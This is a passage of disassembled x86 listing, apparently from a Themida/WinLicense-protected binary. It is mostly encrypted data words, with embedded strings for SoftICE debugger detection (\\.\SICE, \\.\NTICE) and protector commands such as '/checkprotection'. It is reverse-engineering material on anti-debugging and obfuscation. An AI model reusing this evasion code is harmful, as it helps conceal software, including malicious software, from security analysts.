dd 0A03EA69Bh, 0B755B9B0h, 0D06ECEC7h, 0EA88E6E0h, 0F1198AEBh
dd 0F875FDA5h, 85AD93E5h, 726A5954h, 1FB70D10h, 8C62EB74h
dd 0D62C2F97h, 0E9071B43h, 6AD4226Fh, 0FB2F5AF7h, 635DAB69h
dd 4542FB10h, 82616CBCh, 6CCAC48Eh, 20913CD4h, 49C33A43h
dd 0A6010452h, 0E8711CA7h, 0B7BA1812h, 384F761h, 5E43D575h
dd 35DC1DECh, 0B1119CC4h, 0C155A34Fh, 0E7581C38h, 4FB1CDBFh
dd 0F0E880CEh, 4C2B95F9h, 8AE153FEh, 5E95C119h, 0F7CD58C2h
dd 0F31B8CFDh, 0FA4FB202h, 0F1F4524Ch, 0C06B039Bh, 9890F2EAh
dd 57D53F9Fh, 1D0F6D67h, 99AC5354h, 0AC1DC2A5h, 44000006h
dd 5747E551h, 6B5BF963h, 83731173h, 9989278Dh, 319E3CA4h
dd 76F64D6h, 1E827969h, 37979080h, 51AFA999h, 0E253B4B3h
dd 75FDA6BAh, 0F5CAEC1h, 0E28FBB15h, 8BEDDABCh, 9695F0F3h
dd 11EF600Bh, 7C69FE64h, 0B4AD832Eh, 0CDC6B654h, 8F016A6Dh
dd 0F0CE3499h, 0B7ADA553h, 8EF84E51h, 6C5EBCB6h, 7360C7FBh
dd 406207EAh, 0B0000006h, 0C3B351BDh, 0D7C765CFh, 0EFDF7DDFh
dd 5F593F9h, 9D0AA810h, 73DBD042h, 8AEEE5D5h, 0A303FCECh
dd 0BD1B1505h, 4EBF201Fh, 75FDA626h, 5CD02235h, 26299186h
dd 948E66D0h, 0E78DAE3Ah, 2EC6FDADh, 1D7B752Bh, 43A39C72h
dd 88F2524Bh, 0F1D188A5h, 1D9EC61Dh, 5C32BBD8h, 0A8FE0165h
dd 0E91FED15h, 584EFC6Fh, 0B7F05AF2h, 62h, 92865C5Dh, 0ECE6BE28h
dd 0C44DF08Eh, 0E9072B53h, 8C84326Fh, 39D1272Ah, 487493CFh
dd 5E6FE907h, 0E95B0664h, 57511786h, 9A2E65F9h, 0DC71EF59h
dd 36A752D1h, 69FBC39Fh, 91F5ECC2h, 7CE2D88Eh, 218B2379h
dd 7349F442h, 8C7C1A7Ah, 0B2883393h, 0AED647B8h, 0BD75FB44h
dd 8A6DD76Fh, 572E5h, 150F9300h, 5259B4B7h, 4EB324CFh
dd 1369FB1Ch, 96D3E5A1h, 8EF86D4Dh, 0D3C361AFh, 3ADD7BD9h
dd 5086E64h, 0C5C845AFh, 2D22933Eh, 3C701054h, 746D43EEh
dd 0BE56C0B4h, 77373020h, 83861E7Eh, 8375D3CDh, 796F2962h
dd 246F14F7h, 0CC000005h, 0DFCF6DD9h, 0F3E381EBh, 0BFB99FBh
dd 2111AF15h, 0B926C42Ch, 8FF7EC5Eh, 0A60A01F1h, 0BF1F1808h
dd 0D9373121h, 6ADB3C3Bh, 75FDA742h, 0FE43649h, 0FB615715h
dd 0B0AA6063h, 91324F52h, 0F660C4BBh, 0DA0B7555h, 5A6FE905h
dd 1D7D095Dh, 0FF184CD8h, 5CF2FFFFh, 282B8F86h, 81E1DAD2h
dd 0D4453F17h, 0E9073B63h, 5CF4426Fh, 740FFE59h, 244758C9h
dd 98E669FBh, 0DB6665FAh, 23EEBF30h, 0F13F700Dh, 2C709DEEh
dd 0E7AA6FE9h, 0B4B71911h, 1A42B35Eh, 216FE92Ch, 0E8C869D3h
dd 1DA3BD14h, 16B04D8h, 0ADAA0000h, 0CA595485h, 2F11AE1Fh
dd 7E5469FBh, 79A11285h, 8075FB2Fh, 0EA069A32h, 2F729308h
dd 8EDCBB25h, 5C532994h, 9CA3F5F8h, 3FDCB95h, 0F88216AEh
dd 8674B1F1h, 2D42B51Fh, 5EBC455Ch, 2850C16Fh, 374FB165h
dd 35A651E9h, 49C36358h, 66DB8BFDh, 0CBCE382Ch, 0F3F4E175h
dd 49E14B3Fh, 8DF75951h, 460800AEh, 4D50E852h, 15C5FF7h
dd 5BCC770Ah, 43D563DAh, 0A47A2573h, 0CBA14CAAh, 86046ED6h
dd 4C3E9C96h, 99AD318Fh, 0F02ED3B6h, 3, 1303A10Dh, 2717B51Fh
dd 3F2FCD2Fh, 5545E349h, 0ED5AF860h, 0C32B2092h, 0DA3E3525h
dd 0F3534C3Ch, 0D6B6555h, 9E0F706Fh, 75FDA876h, 6A207285h
dd 0AC35E063h, 0E907133Bh, 62CC1A6Fh, 9B7066D7h, 519F69FDh
dd 77D7D0A6h, 6C6036D9h, 0FEA9FF02h, 0FDA4658Dh, 0BC267475h
dd 888BEBE4h, 887AD8D2h, 7360B141h, 846005E8h, 6C000003h
dd 7F6F0D79h, 9383218Bh, 0AB9B399Bh, 0C1B14FB5h, 59C664CCh
dd 2F978CFEh, 46AAA191h, 5FBFB8A8h, 79D7D1C1h, 0A7BDCDBh
dd 75FDA9E2h, 0F84D6E9h, 0FEB4B715h, 86A3A604h, 0FB6DEFCFh
dd 211A6CC1h, 0D272DC1h, 4677EA54h, 0CE6FE9D5h, 1E4C7DD1h
dd 0FD74C0D8h, 5C66FFFFh, 0C02A9086h, 8D90EEE8h, 0FDA83B32h
dd 0FB266F8Ch, 0B2509E69h, 4B80AD5Eh, 0A516C140h, 69FB2F08h
dd 5EB1ABF9h, 0CE109E1Ch, 7FF09E8Dh, 1DEE6257h, 0D5801866h
dd 608764h, 0EFE89618h, 9E368C8Fh, 0B64D409Bh, 96199A0Bh
dd 0E2301212h, 13CAE37h, 9FE4384Ch, 615B339Dh, 0B149ABA3h
dd 6B292313h, 52B6AD77h, 5E61F94Fh, 417E7008h, 0D4CB7009h
dd 2B54CF1h, 483B0000h, 5A4E3EDCh, 6A6252F0h, 847A6A08h
dd 9B90801Eh, 0C9289533h, 60FE665Bh, 77157970h, 902E8E87h
dd 0AA48A6A0h, 0B1D94AABh, 0B875FDAAh, 865C53A5h, 0D1272A90h
dd 60E3EA67h, 9B3844B5h, 590769FDh, 0A2F8FB65h, 64D65F0Ah
dd 0F1D68FA7h, 623AA406h, 70590D69h, 0BD51B9AEh, 770FE864h
dd 90F0E9D9h, 584E248Dh, 0A0389A92h, 5DD479Dh, 2BBAD0Bh
dd 7736118h, 2397F24h, 0C4B70000h, 0D6CABA58h, 0E6DECE6Ch
dd 0F6E684h, 170CFC9Ah, 45A411AFh, 0DC7AE2D7h, 0F391F5ECh
dd 0CAA0A03h, 26C4221Ch, 2D55C627h, 3C75FDAAh, 636AD729h
dd 0B8C435E0h, 8769FD9Bh, 0BEB88E39h, 322DC260h, 4882F49Fh
dd 41A79D4Fh, 793ACEADh, 25FB840Fh, 11756C2Ch, 0B620B80Eh
dd 0FDF61543h, 0C7CA1875h, 0B1B41C11h, 645951h, 0D8883CD1h
dd 46F18981h, 0AA147A70h, 0F698972Ch, 0FD4E5D85h, 861E6C75h
dd 4E3A6ADBh, 35175FDh, 6CF7E658h, 512C24A6h, 544E04E7h
dd 3B3E9C96h, 0EA4A4DE5h, 0E72693Fh, 0F761550Bh, 231DF55Fh
dd 3D3727C5h, 32C4DCDFh, 0B98868FFh, 0D3C361BFh, 0C2787BD9h
dd 466265CDh, 0E4DEAD8Dh, 0CDCD3126h, 165E7E6Ah, 3DDB730Bh
dd 45F0584Dh, 8BEFE6BCh, 779F3288h, 8675FD3Ah, 0D3EBCE38h
dd 24AD2E23h, 0FD3A8BB3h, 0DA449275h, 958A5939h, 63EC8F2Dh
dd 0FD3ACAF2h, 1983D175h, 60D14C41h, 75FD3A38h, 3FA19947h
dd 0B64EE63Ch, 0A404FDB3h, 0AB8B4AA1h, 0E17FE7DCh, 58ADCC3Eh
dd 8C207E78h, 309AC1EFh, 0FD005E58h, 60CABE94h, 811D83F6h
dd 0C786DDAEh, 968F65E7h, 73DD3336h, 0A543A19Bh, 5A5DBBB5h
dd 0E8017FF1h, 0B6EA8336h, 177F744Ch, 0E95AE36Ch, 2E503DC1h
dd 0BFE77AC8h, 0CE2E503Dh, 0D6331680h, 76703F1Fh, 908A7A18h
dd 0D9D42F32h, 3D9EC637h, 5FAD2E50h, 5EAB1CC7h, 0AF28623Fh
dd 3F2EC361h, 0A688F9A4h, 0E12272D3h, 9E279093h, 4AAC052Dh
dd 0CFF7682Eh, 0DE2E4AACh, 0D9439190h, 0D960701h, 4AAC749Ch
dd 9A2D7B2Eh, 2E4AAC72h, 0F5932B79h, 257C952h, 0C4F63964h
dd 1FE60EA1h, 94F52E4Ah, 4A1FFB23h, 1CB4022Eh, 82E0DAB2h
dd 4A40167Fh, 218BE1E4h, 64E792AEh, 4A2AE1BFh, 8523817Bh
dd 0E4DD9B95h, 932B8184h, 7EE4DA90h, 0A008FDD3h, 0FADD479Dh
dd 8204E4A3h, 0D86088F9h, 216F4074h, 87E5DFB7h, 4CBD46E9h
dd 4074D824h, 9B73DD2Bh, 0C29843A1h, 0B9E152CDh, 0C04074D8h
dd 81D7DA72h, 88F3417h, 0EE000000h, 52BC2218h, 0F599516h
dd 0F7ADB01Ch, 0E69C9FFDh, 0D48A8DEDh, 0C07679DDh, 0AA6063CBh
dd 944A4DB5h, 7F35389Eh, 6C222587h, 4D0B0E78h, 56FD68h
dd 241C8900h, 0C381E389h, 4, 8704EB83h, 685C241Ch, 5FC4h
dd 68243489h, 4E28h, 50240489h, 0FE468B68h, 3F0D585Ah
dd 51468078h, 385D07B9h, 0E1D14901h, 55E8E181h, 0E1C16AC7h
dd 0B6E18102h, 8144B102h, 0E9E073E9h, 59C80158h, 8358C689h
dd 248904ECh, 24048124h, 4, 0F7895758h
dd 8408F57h, 2434FF5Fh, 4C48358h, 5724348Bh, 0C781E789h
dd 4, 8704C783h, 0E95C243Ch, 0FFFDD96Dh, 1602ECC5h, 0F3FB98BCh
db 11h
; ---------------------------------------------------------------------------
loc_5710B1: ; CODE XREF: Themida_:loc_570837j
mov eax, 614A606h
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
dw 9E63h
dd 9A182E9Ch, 17966265h, 33848CEh, 7E9F46E7h, 992F03A1h
dd 0BFD96A02h, 7F5B3307h, 2A401349h, 6FF759Ch, 96407DC4h
dd 0CA33052Ah, 0EB196EBFh, 0B85C1A38h, 834E29FAh, 0BBD81349h
dd 0A46537C3h, 89C154FDh, 439F714Bh, 0DE86075h, 43000000h
dd 98C174B8h, 92FA3006h, 0A338CA8Ch, 13E9h, 9DD09100h
dd 0F9F152AEh, 0AA4E1E89h, 2D61B60Fh, 5199ECAAh, 0EE95Eh
dd 3DD90000h, 38B3FB58h, 60328312h, 30AAB95Bh, 6761C681h
dd 33F50000h, 0EEFEBFC0h, 0C8B4D6Dh, 0D0EA8006h, 21BAE981h
dd 5E96A70h, 0B7000000h, 7072DACh, 0E7C0C181h, 81F5237Fh
dd 934F36C1h, 91BA6631h, 0D780513Fh, 6048F14h, 0DE9h, 735EEF00h
dd 0A2824AB4h, 9209E79Eh, 7E9E239h, 0A6000000h, 58525FB4h
dd 0E88132A6h, 4C28E959h, 35C78166h, 55C08155h, 0E94C28E9h
dd 0Bh, 428F5F47h, 1C79BD8Eh, 8101CC06h, 0FF9980F8h, 12850FFFh
dd 66000000h, 5F0DCA81h, 1BE9h, 0F439AC00h, 0ED3B2063h
dd 38E0FF6h, 80000000h, 67E9DBE3h, 0AFFFFFFFh, 261C9981h
dd 8DE9h, 0BD836000h, 6121889h, 5840F00h, 0E9000000h, 78h
dd 3E80006Ah, 8850F30h, 6A000000h, 35E94600h, 80000000h
dd 850F333Eh, 8, 0E946106Ah, 24h, 0F343E80h, 885h, 46306A00h
dd 13E9h, 353E8000h, 8850Fh, 406A0000h, 2E946h, 6A0000h
dd 0F203E80h, 1285h, 17E8000h, 8850F00h, 83000000h, 15E908C4h
dd 8D000000h, 1216B585h, 4895006h, 96509624h, 95FF006Ah
dd 6122341h, 85C6C361h, 6122871h, 0D189684Dh, 348197FAh
dd 0CFA72124h, 39B5FF33h, 8D06121Dh, 123B5D85h, 89D0FF06h
dd 12234185h, 0AAE906h, 6F530000h, 61777466h, 575C6572h
dd 694C6E69h, 736E6563h, 68430065h, 496B6365h, 7058004Eh
dd 45746F72h, 746978h, 63656843h, 54554F6Bh, 6E695700h
dd 6563694Ch, 5665736Eh, 69737265h, 57006E6Fh, 694C6E69h
dd 736E6563h, 69724465h, 56726576h, 69737265h, 57006E6Fh
dd 694C6E69h, 736E6563h, 736E4965h, 636E6174h, 78450065h
dd 6B4F7469h, 6F725000h, 4E4963h, 636F7250h, 54554Fh, 74697845h
dd 45004E49h, 4F746978h, 54005455h, 4E4970h, 3 dup(0)
dd 77DDAF7Fh, 77DD72F0h, 596E9h, 32858900h, 8D0614A9h
dd 14A92E85h, 858D5006h, 614A898h, 16850h, 95FF8000h, 614A93Eh
dd 0B5FF196Ah, 614A932h, 6A016Ah, 0A8C7858Dh, 0FF500614h
dd 14A92EB5h, 1195FF06h, 0FF061223h, 14A92EB5h, 3A95FF06h
dd 0FF0614A9h, 14A92EB5h, 0A195FF06h, 0C3061218h, 0A9328589h
dd 858D0614h, 614A92Eh, 98858D50h, 500614A8h, 168h, 3E95FF80h
dd 6A0614A9h, 32858D04h, 500614A9h, 6A046Ah, 0A8F1858Dh
dd 0FF500614h, 14A92EB5h, 1195FF06h, 0FF061223h, 14A92EB5h
dd 3A95FF06h, 0FF0614A9h, 14A92EB5h, 0A195FF06h, 0C3061218h
dd 0A9328589h, 858D0614h, 614A92Eh, 98858D50h, 500614A8h
dd 168h, 3E95FF80h, 6A0614A9h, 32858D04h, 500614A9h, 6A046Ah
dd 0A8D9858Dh, 0FF500614h, 14A92EB5h, 1195FF06h, 0FF061223h
dd 14A92EB5h, 3A95FF06h, 0FF0614A9h, 14A92EB5h, 0A195FF06h
dd 0C3061218h, 0A9328589h, 858D0614h, 614A92Eh, 98858D50h
dd 500614A8h, 168h, 3E95FF80h, 6A0614A9h, 32858D04h, 500614A9h
dd 6A046Ah, 0A904858Dh, 0FF500614h, 14A92EB5h, 1195FF06h
dd 0FF061223h, 14A92EB5h, 3A95FF06h, 0FF0614A9h, 14A92EB5h
dd 0A195FF06h, 0C3061218h, 0A9328589h, 858D0614h, 614A92Eh
dd 98858D50h, 500614A8h, 168h, 3E95FF80h, 6A0614A9h, 32858D04h
dd 500614A9h, 6A046Ah, 0A8B4858Dh, 0FF500614h, 14A92EB5h
dd 1195FF06h, 0FF061223h, 14A92EB5h, 3A95FF06h, 0FF0614A9h
dd 14A92EB5h, 0A195FF06h, 0C3061218h, 2411BD83h, 0F000612h
dd 0B84h, 119D8B00h, 83061224h, 3894CC3h, 11BD83C3h, 61224h
dd 0B840Fh, 9D8B0000h, 6122411h, 8950C383h, 0BD83C303h
dd 6122411h, 0B840F00h, 8B000000h, 1224119Dh, 54C38306h
dd 83C30389h, 122411BDh, 840F0006h, 0Bh, 24119D8Bh, 0C3830612h
dd 0C3038958h, 2411BD83h, 0F000612h, 0B84h, 119D8B00h
dd 83061224h, 3895CC3h, 8960C3C3h, 14A93285h, 2E858D06h
dd 500614A9h, 0A898858Dh, 68500614h, 80000001h, 0A93E95FFh
dd 46A0614h, 0A932858Dh, 6A500614h, 8D006A04h, 14A92985h
dd 0B5FF5006h, 614A92Eh, 231195FFh, 0BD830612h, 6121B91h
dd 0C840F00h, 0FF000000h, 14A92EB5h, 3A95FF06h, 0FF0614A9h
dd 14A92EB5h, 0A195FF06h, 61061218h, 858960C3h, 614A932h
dd 0A92E858Dh, 8D500614h, 14A89885h, 1685006h, 0FF800000h
dd 14A93E95h, 8D046A06h, 14A93285h, 46A5006h, 858D006Ah
dd 614A90Bh, 2EB5FF50h, 0FF0614A9h, 12231195h, 91BD8306h
dd 6121Bh, 0C840Fh, 0B5FF0000h, 614A92Eh, 0A93A95FFh, 0B5FF0614h
dd 614A92Eh, 18A195FFh, 0C3610612h, 32858960h, 8D0614A9h
dd 14A92E85h, 858D5006h, 614A898h, 16850h, 95FF8000h, 614A93Eh
dd 858D046Ah, 614A932h, 6A046A50h, 12858D00h, 500614A9h
dd 0A92EB5FFh, 95FF0614h, 6122311h, 1B91BD83h, 0F000612h
dd 0C84h, 2EB5FF00h, 0FF0614A9h, 14A93A95h, 2EB5FF06h
dd 0FF0614A9h, 1218A195h, 60C36106h, 0A9328589h, 858D0614h
dd 614A92Eh, 98858D50h, 500614A8h, 168h, 3E95FF80h, 6A0614A9h
dd 32858D04h, 500614A9h, 6A046Ah, 0A91A858Dh, 0FF500614h
dd 14A92EB5h, 1195FF06h, 83061223h, 121B91BDh, 840F0006h
dd 0Ch, 0A92EB5FFh, 95FF0614h, 614A93Ah, 0A92EB5FFh, 95FF0614h
dd 61218A1h, 8960C361h, 14A93285h, 2E858D06h, 500614A9h
dd 0A898858Dh, 68500614h, 80000001h, 0A93E95FFh, 46A0614h
dd 0A932858Dh, 6A500614h, 8D006A04h, 14A92185h, 0B5FF5006h
dd 614A92Eh, 231195FFh, 0BD830612h, 6121B91h, 0C840F00h
dd 0FF000000h, 14A92EB5h, 3A95FF06h, 0FF0614A9h, 14A92EB5h
dd 0A195FF06h, 61061218h, 85C760C3h, 614A932h, 1, 0A92E858Dh
dd 8D500614h, 14A89885h, 2685006h, 0FF800000h, 14A93E95h
dd 0FC00B06h, 0F84h, 3285C700h, 614A9h, 0E9000000h, 4Dh
dd 858D046Ah, 614A932h, 6A046A50h, 0AC858D00h, 500614A8h
dd 0A92EB5FFh, 95FF0614h, 6122311h, 840FC00Bh, 0Fh, 0A93285C7h
dd 614h, 0AE90000h, 0C7000000h, 14A93285h, 106h, 2EB5FF00h
dd 0FF0614A9h, 1218A195h, 858B6106h, 614A932h, 858960C3h
dd 614A932h, 0A92E858Dh, 8D500614h, 14A89885h, 1685006h
dd 0FF800000h, 14A93E95h, 8D046A06h, 14A93285h, 46A5006h
dd 858D006Ah, 614A8ACh, 2EB5FF50h, 0FF0614A9h, 12231195h
dd 91BD8306h, 6121Bh, 0C840Fh, 0B5FF0000h, 614A92Eh, 0A93A95FFh
dd 0B5FF0614h, 614A92Eh, 18A195FFh, 0C3610612h, 32858960h
dd 8D0614A9h, 14A92E85h, 858D5006h, 614A898h, 16850h, 95FF8000h
dd 614A93Eh, 858D046Ah, 614A932h, 6A046A50h, 0BE858D00h
dd 500614A8h, 0A92EB5FFh, 95FF0614h, 6122311h, 1B91BD83h
dd 0F000612h, 0C84h, 2EB5FF00h, 0FF0614A9h, 14A93A95h
dd 2EB5FF06h, 0FF0614A9h, 1218A195h, 0C6C36106h, 12287185h
dd 7685206h, 0FFADE47Bh, 1222EDB5h, 8995FF06h, 89061216h
dd 14A93E85h, 7185C606h, 52061228h, 2E00E568h, 0EDB5FF90h
dd 0FF061222h, 12168995h, 3A858906h, 0C60614A9h, 12287185h
dd 35685206h, 0FFB9BF12h, 1222EDB5h, 8995FF06h, 89061216h
dd 12231185h, 7185C606h, 52061228h, 78103468h, 0EDB5FF98h
dd 0FF061222h, 12168995h, 0A1858906h, 0C6061218h, 12287185h
dd 0D4685206h, 0FFC005DBh, 1222EDB5h, 8995FF06h, 89061216h
dd 12176585h, 5C1EEB06h, 535C2E5Ch, 454349h, 5C2E5C5Ch
dd 56574953h, 5C004449h, 4E5C2E5Ch, 45434954h, 0E9C08B00h
dd 0Dh, 0D352302Eh, 730D342Dh, 73306ADh, 850FFDh, 83000000h
dd 121B91BDh, 9750006h, 17DDBD83h, 74000612h, 8B535019h
dd 40FB8C0h, 85890000h, 6120085h, 0AE0F9D8Dh, 0D3FF0614h
dd 0BD83585Bh, 61217DDh, 50177400h, 40FB853h, 85890000h
dd 6120085h, 0AAFE9D8Dh, 0D3FF0614h, 6A585Bh, 3E850h, 58200000h
dd 448958C3h, 44810424h, 150424h, 50400000h, 0F8B55EC3h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0FDC35343h
dd 13D27A89h, 8B557767h, 12211995h, 0BFC08B06h, 3D483D9Fh
dd 287185C6h, 8B430612h, 120179B5h, 60786806h, 0BE66B699h
dd 4815ADBh, 0F50E8424h, 8E905h, 46090000h, 0F1B4B07Eh
dd 0B5FFEE8Bh, 61203B1h, 1739BD89h, 858D0612h, 6123B5Dh
dd 3810Fh, 0BF0F0000h, 0FD0FFF8h, 687h, 0E9BD0B00h, 9006122Dh
dd 0F18B6660h, 0BE85061h, 0A9000000h, 0F980B471h, 436BF0AAh
dd 870FDCBDh, 2, 90598EB2h, 3DB52Bh, 6A0612h, 9118589h
dd 0F6680612h, 81E86E46h, 0B98A2404h, 81501791h, 0F0FE67CFh
dd 36A5F61h, 19C99509h, 6A0612h, 2955BD29h, 36A0612h, 18B98D8Bh
dd 4E80612h, 0
dd 50C00000h, 448BD18Bh, 0BA660424h, 8B3951h, 4489CF8Bh
dd 6A580424h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 17042444h, 40000000h, 0AEC3C350h, 9D8D2D98h, 614AF75h
dd 29758529h, 8E90612h, 0A2000000h, 0EE7C74E5h, 937A1A3Ah
dd 5E950h, 0F3280000h, 935E7E2Ch, 5E9D0FFh, 0A6000000h
dd 10A70EEAh, 0DF850F40h, 50000002h, 1F999D89h, 585A0612h
dd 7E8h, 88451400h, 0BED96825h, 11E9905Ah, 5000000h, 22679818h
dd 911F71C2h, 3A705567h, 8239F28Ch, 6A9050h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 150424h, 52420000h, 80C53AC3h
dd 6A70F5h, 8E9h, 11377200h, 0FF4659Dh, 4E850h, 800000h
dd 0F9BE0000h, 505D4B44h, 8BFE8B66h, 8B042444h, 14E800h
dd 11620000h, 46F18902h, 8995AE96h, 0EE5DB842h, 0CF11F9A9h
dd 10E8E9FDh, 0F4000000h, 6C724615h, 56365B37h, 21A71537h
dd 5001D64Bh, 5A310F52h, 89595958h, 66042444h, 5893D6B9h
dd 6AF18B66h, 0D08B6603h, 8B66006Ah, 8B036AD3h, 0CF8B66CAh
dd 4E8h, 0
dd 0F5250C0h, 28Eh, 0F616000h, 10840F31h, 0E9000000h, 0Bh
dd 0AF902448h, 73AA7A31h, 5A5269C0h, 52505058h, 310F99B1h
dd 17BB6660h, 61616079h, 448B585Ah, 0EE90424h, 0D000000h
dd 58949DA6h, 9422F9C8h, 3CD55877h, 60008B96h, 0E851D8B5h
dd 5, 2F507CB6h, 615A5F80h, 4244489h, 6658FB8Bh, 8D2FBFBFh
dd 14AF7E9Dh, 0AE906h, 1A980000h, 9A5FECD0h, 84BB3DCh
dd 66525093h, 310FCB8Bh, 5E78B550h, 0F50585Ah, 980h, 3890F00h
dd 66000000h, 8193FA8Bh, 0E15F8FDEh, 66D0FF7Ch, 0C2CDDE81h
dd 5B850F40h, 0E9000001h, 13h, 27B569BDh, 0A7896050h, 9DC027E5h
dd 4ABC489Eh, 58BF6CBAh, 1E91BD89h, 8A900612h, 8B9050C8h
dd 121811BDh, 8B006A06h, 1217E995h, 0ADD76806h, 8C0F41EDh
dd 2, 3481F88Bh, 0EDAD5724h, 0CE941h, 0E4D80000h, 1E78EE2Ah
dd 0BBC734EFh, 36A139Bh, 6A006AF8h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 705BC353h
dd 2AD9BD0Bh, 36A0612h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 1Ch, 8BC35343h, 0B7743699h, 43E44F20h, 4E8EB8Ah
dd 0
dd 66C00000h, 502BD4B9h, 870Fh, 448B0000h, 8B0424h, 50FA8B60h
dd 1BE6652h, 8B310FDEh, 61585AC3h, 4244489h, 1A830Fh, 12E80000h
dd 7F000000h, 59ED8446h, 5D5DA15Fh, 0AFE7D4E1h, 8B06B56Eh
dd 5AD68B45h, 8E858h, 66AD0000h, 81D1F6D6h, 0BD89452Bh
dd 61217B5h, 899D8D59h, 520614AFh, 29358D03h, 935E0612h
dd 50CB8B66h, 0FE8h, 47AB3D00h, 9356CA8Ah, 235FCBF9h, 83D1E884h
dd 2F5AB966h, 0F680935Ah, 89D0FF55h, 122A219Dh, 850F4006h
dd 12h, 2CED8589h, 0E9580612h, 161h, 0A2DB58Bh, 0D88B0612h
dd 4995034Bh, 58061217h, 0C6CE8B66h, 12287185h, 6A4306h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
dd 0F66527C3h, 608CB0A6h, 8C0Fh, 71680000h, 57C8E4DBh
dd 5097C2B9h, 3481596Ch, 9291D624h, 50006A08h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1904h, 0C3504000h, 9F301120h
dd 9E9B197h, 0D8000000h, 0AF87A78Bh, 0AABAC08Eh, 13619D01h
dd 0B5FF0612h, 61203B1h, 14E8h, 87CD0600h, 19471055h, 3D3AE378h
dd 84AD59BBh, 6ECCA542h, 6840F94h, 89000000h, 1217F1B5h
dd 8B665E06h, 5D858DF3h, 8906123Bh, 12174985h, 89D0FF06h
dd 1210B595h, 14E99306h, 5A000000h, 0BD20D5A4h, 0C3F8C7ABh
dd 8666DDE9h, 4038B94h, 50B7C31Eh, 0B9665250h, 310F31CAh
dd 5AF88B66h, 0B58B9358h, 612101Dh, 8D8BD0FFh, 6122F55h
dd 5E9h, 0AC250400h, 9D8DA17Bh, 6127277h, 1EA5B58Bh, 0B70F0612h
dd 1B8F2h, 89500000h, 120479BDh, 800F5F06h, 6, 0E45B589h
dd 0E3FF0612h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 1Dh, 51C35141h, 84AFBDBCh, 0FEB712C4h, 0CE8B6685h, 0E9C18BF5h
dd 8, 4E5035A2h, 1954B584h, 0D68BC08Bh, 1B91BD83h, 75000612h
dd 0DDBD8309h, 61217h, 53501974h, 0FB8C08Bh, 89000004h
dd 12229585h, 769D8D06h, 0FF0614AEh, 83585BD3h, 1217DDBDh
dd 17740006h, 0FB85350h, 89000004h, 12229585h, 179D8D06h
dd 0FF0614ABh, 0F585BD3h, 682h, 0F98D3300h, 6A06120Eh
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1C042444h
dd 46000000h, 0EAA1C356h, 0CB20936Fh, 8BE862B4h, 0FE8C0h
dd 52100000h, 2E2F5EF3h, 61B5DB1Dh, 10D4BCF2h, 958B600Ch
dd 6121865h, 0DE9h, 0A72ACF00h, 2A763F0Ch, 0E02E8848h
dd 5F61A956h, 0C781ABB2h, 7351h, 0CE9h, 5AB5EA00h, 0D28146A2h
dd 4BE24048h, 6819h, 95890000h, 6121149h, 8E8605Bh, 0B5000000h
dd 0A4B4529h, 60B5A1C7h, 0B5295961h, 61234B5h, 3B34FF61h
dd 14E9h, 68A92F00h, 0BDB55F0Dh, 0AA79032Eh, 40F03970h
dd 3DA402FAh, 81665975h, 813D56F0h, 38B519C1h, 10E850h
dd 304B0000h, 0DC748509h, 0B156B805h, 0C0DF142Ch, 0BE669025h
dd 8158308Dh, 71D632F1h, 1958B37h, 8106122Bh, 0F541CEF1h
dd 99958B7Ch, 89061214h, 0B58B1F0Ch, 6120C31h, 14E9h, 152F0B00h
dd 0C19834Fh, 0C34CB249h, 918C6F9Dh, 703FC36h, 2AEB818Dh
dd 8B55131Ah, 121C8585h, 26C38106h, 8B55131Ah, 122F4195h
dd 0B8FB8106h, 0FFFFF8Dh, 0FFFF6085h, 0ED858BFFh, 0E906121Bh
dd 99h, 6775622Fh, 63656863h, 2F00326Bh, 63677562h, 6B636568h
dd 6F662F00h, 72656372h, 2F006E75h, 63677562h, 6B636568h
dd 6C6C7566h, 68732F00h, 6F63776Fh, 2F006564h, 776F6873h
dd 65646F63h, 632F0032h, 74726Ch, 7369642Fh, 732F0031h
dd 69776F68h, 6174736Eh, 65636Eh, 7465672Fh, 74736C77h
dd 73757461h, 6F6C2F00h, 61747367h, 737574h, 6D75642Fh
dd 61747370h, 737574h, 0
aCheckprotectio db '/checkprotection',0
align 4
dd 0CABD8300h, 614B7h, 0A840Fh, 85C70000h, 61217DDh, 1
dd 287185C6h, 68470612h, 4630EDEEh, 9F240481h, 0FF4A3C7Eh
dd 1203B1B5h, 5D858D06h, 0FF06123Bh, 8BD0FFD0h, 223F80F8h
dd 22850Fh, 0B0470000h, 850FAE22h, 0FFFFFFF9h, 0F003F80h
dd 31E84h, 3F804700h, 14840F00h, 0E9000003h, 1Eh, 0F003F80h
dd 30684h, 203F8000h, 6850Fh, 0E9470000h, 6, 0FFE2E947h
dd 3F80FFFFh, 5850F00h, 0E9000000h, 2E3h, 1E9h, 3F804700h
dd 0F6840F20h, 80FFFFFFh, 850F003Fh, 5, 2C6E9h, 0AE800h
dd 0CBE90000h, 0E9FFFFFFh, 2B7h, 0B74AB58Dh, 25E80614h
dd 3000002h, 14B7DFBDh, 0DFBD8306h, 614B7h, 0B840Fh, 85C70000h
dd 6121B91h, 1, 55B58DC3h, 0E80614B7h, 1FCh, 0B7DFBD03h
dd 0BD830614h, 614B7DFh, 0B840F00h, 0C7000000h, 1217DD85h
dd 106h, 0B58DC300h, 614B7CEh, 1D3E8h, 0DFBD0300h, 830614B7h
dd 14B7DFBDh, 840F0006h, 0Bh, 188985C7h, 10612h, 8DC30000h
dd 14B75FB5h, 1AAE806h, 0BD030000h, 614B7DFh, 0B7DFBD83h
dd 0F000614h, 0B84h, 0DD85C700h, 1061217h, 0C3000000h
dd 0B769B58Dh, 81E80614h, 3000001h, 14B7DFBDh, 0DFBD8306h
dd 614B7h, 15840Fh, 85C70000h, 61217DDh, 1, 1B9185C7h
dd 10612h, 8DC30000h, 14B777B5h, 14EE806h, 0BD030000h
dd 614B7DFh, 0B7DFBD83h, 0F000614h, 0A84h, 1585C700h, 106121Ah
dd 8D000000h, 14B781B5h, 126E806h, 0BD030000h, 614B7DFh
